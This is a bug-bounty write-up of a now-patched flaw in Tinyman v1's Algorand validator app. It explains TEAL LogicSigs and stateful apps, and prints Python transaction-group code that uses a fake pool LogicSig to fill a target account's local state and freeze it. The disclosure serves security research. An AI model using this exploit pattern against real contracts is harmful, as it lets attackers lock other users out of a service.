I discovered this smart contract bug soon after Tinyman launched their bug bounty program and received a small reward for it. While its potential impact was relatively limited (no funds could have been stolen!), it serves as a good case study of Algorand smart contracts and their possible vulnerabilities.


NFT for bragging rights!

Algorand smart contracts

Algorand uses TEAL, a low-level stack-based language, to power its smart contracts. There are two ways to run TEAL on-chain:

Logic Signatures (LogicSig)

Logic Signatures are stateless pieces of logic that can be used to sign transactions. They store no data and are executed in the context of a transaction. A LogicSig is essentially an Algorand address with rules that define how it can be used to sign transactions. Instead of signing with a private key, a user can use a LogicSig, and as long as all conditions are satisfied, the transaction will be valid.

Applications

Applications are stateful contracts that can store data and execute more complex logic. They can maintain either global (app-level) state or local (account-level) state. Local state is specific to an account and stores data relevant only to that account.

When creating a decentralized application on Algorand, we typically combine both LogicSig and Applications.

Tinyman DEX

Tinyman v1 contracts consist of pool LogicSigs and a validator application. The first liquidity provider creates each pool’s LogicSig during the bootstrap operation. These LogicSigs are derived from a template that the frontend application fills with the pool parameters (TMPL_ASSET_ID_1 and TMPL_ASSET_ID_2 which is the pair of assets to be exchanged).

Pool operations involve transactions to both the pool LogicSig and the validator application:

  • The LogicSig validates the transaction structure and requires a second transaction to the validator
  • The validator app performs the economic calculations and state updates
  • The pool LogicSig receives and/or sends assets as needed (assets to be exchanged or tokens representing shares in the pool)

The vulnerability arises because anyone can create a pool LogicSig outside of the frontend, and the validator app does not explicitly verify that the LogicSig is legitimate.

Swaps and excess amounts

A swap (exchange of one asset for another) consists of 4 transactions in an atomic group:

  1. Fee payment: swapper pays transaction fees to pool (2000 microAlgos)
  2. App call: Pool calls the validator app with swap parameters (input amount, output amount, etc.)
  3. Asset In: Swapper sends the input asset to the pool
  4. Asset Out: Pool sends the output asset to the swapper

The validator app calculates the AMM pricing and validates the exchange rates.

The critical section

int 1
load 121 // excess_asset1_key
dup2
app_local_get
load 201 // excess_asset_1
+// excess_asset1_amount += excess_asset_1
app_local_put // excess_asset1_amount

To make it clearer how to read TEAL, this is what the top of the stack looks like at every line before the call to app_local_put:


1 1 asset_key 1 asset_key asset_key 1 asset_key asset_key excess_amt 1 asset_key excesss_amt + asset_key

When we call the app_local_put opcode (last line), it takes what is on the stack as arguments, effectively:

app_local_put(1, asset_key, `{excess_amount}{asset_key}`)

1 is the index of the account in the accounts argument of the transaction. When making an Algorand transaction, we pass in a set of accounts whose state can be modified by the contract. For example, this is the app call transaction (second in the swap group):

transaction.ApplicationNoOpTxn(
    sender=pool_address,
    sp=params,
    index=validator_app_id,
    app_args=[b"swap", b"fi"],
    accounts=[sender_address],
    foreign_assets=[asset1_id, asset2_id]
)

Here, Accounts[1] is sender_address. This is what is intended. Accounts[1] is intended to be the account of the swapper, and this is how the transaction is built when interacting with Tinyman from the frontend app. However, nothing enforces that in the validator app!

Instead of

accounts=[sender_address]

We could pass in

accounts=[target_account]

And the validator app wouldn’t complain. But there is still one problem…

Removing the pool check

The pool template has a check to ensure the receiver of the asset is the one whose local state is updated:

gtxna 1 Accounts 1
txn Sender
!=
assert

gtxna 1 Accounts 1
gtxn 4 AssetReceiver
==
assert

So the swap would still fail if we pass the first account as anything other than sender_address.

But what if we don’t use an official pool LogicSig at all? We can simply create our own “pool” and remove the check. Then the swap transaction group becomes:

txns = []

# Txn 0: Payment to pool (0.002 Algo fee)
txns.append(
    transaction.PaymentTxn(
        sender=sender_address,
        sp=params,
        receiver=fake_pool_address,
        amt=2000  # 0.002 Algo
    )
)

# Txn 1: App call to validator
txns.append(
    transaction.ApplicationNoOpTxn(
        sender=fake_pool_address,
        sp=params,
        index=validator_app_id,
        app_args=[b"swap", b"fi"],
        accounts=[target_account], 
        foreign_assets=[asset1_id, asset2_id]
    )
)

# Txn 2: Asset transfer IN (from swapper to pool)
txns.append(
    transaction.AssetTransferTxn(
        sender=sender_address,
        sp=params,
        receiver=pool_address,
        amt=asset1_amount,
        index=asset1_id
    )
)

# Txn 3: Asset transfer OUT (from pool to swapper)
txns.append(
    transaction.AssetTransferTxn(
        sender=pool_address,
        sp=params,
        receiver=sender_address,
        amt=min_asset2_amount,
        index=asset2_id
    )
)

# Group transactions
transaction.assign_group_id(txns)

Tada! target_account now has excess amounts for transactions they never performed.

Why is this a problem?

Each user account can store up to 16 local uint values. Once this local storage is filled up, no more transactions can be performed. The excess amounts are updated at each swap transaction.

The contract doesn’t explicitly check if there is available space, but it tries to write via app_local_put,

  • If a key doesn’t exist and there is no space to create it, the transaction fails.
  • By spamming fake excess amounts, an attacker could fill all slots in a user’s local state.

In practice, as someone running an arbitrage bot on Tinyman, I could have targeted competing bots, filled up their excess amounts with fake assets, and effectively frozen them.

Short-term fix

Tinyman released a patched version of their contracts that added checks in the validator app to ensure Accounts[1] is indeed the swapper (mirroring the existing checks in the pool LogicSig).

Long-term fix

TinymanV2 contracts include an integrity check in the validator app to ensure the pool LogicSig is legitimate, effectively preventing the same class of attacks from being possible in future versions.

Conclusion

This bug never threatened user funds, but it highlights how subtle oversights in smart contract design can have serious consequences for usability and fairness. Smart contracts are unforgiving: every unchecked assumption is a potential exploit.

Tinyman’s fast response and the structural fixes in V2 highlight the importance of bug bounties and community review. For me, it was satisfying to see my report contribute to stronger contracts and a healthier ecosystem.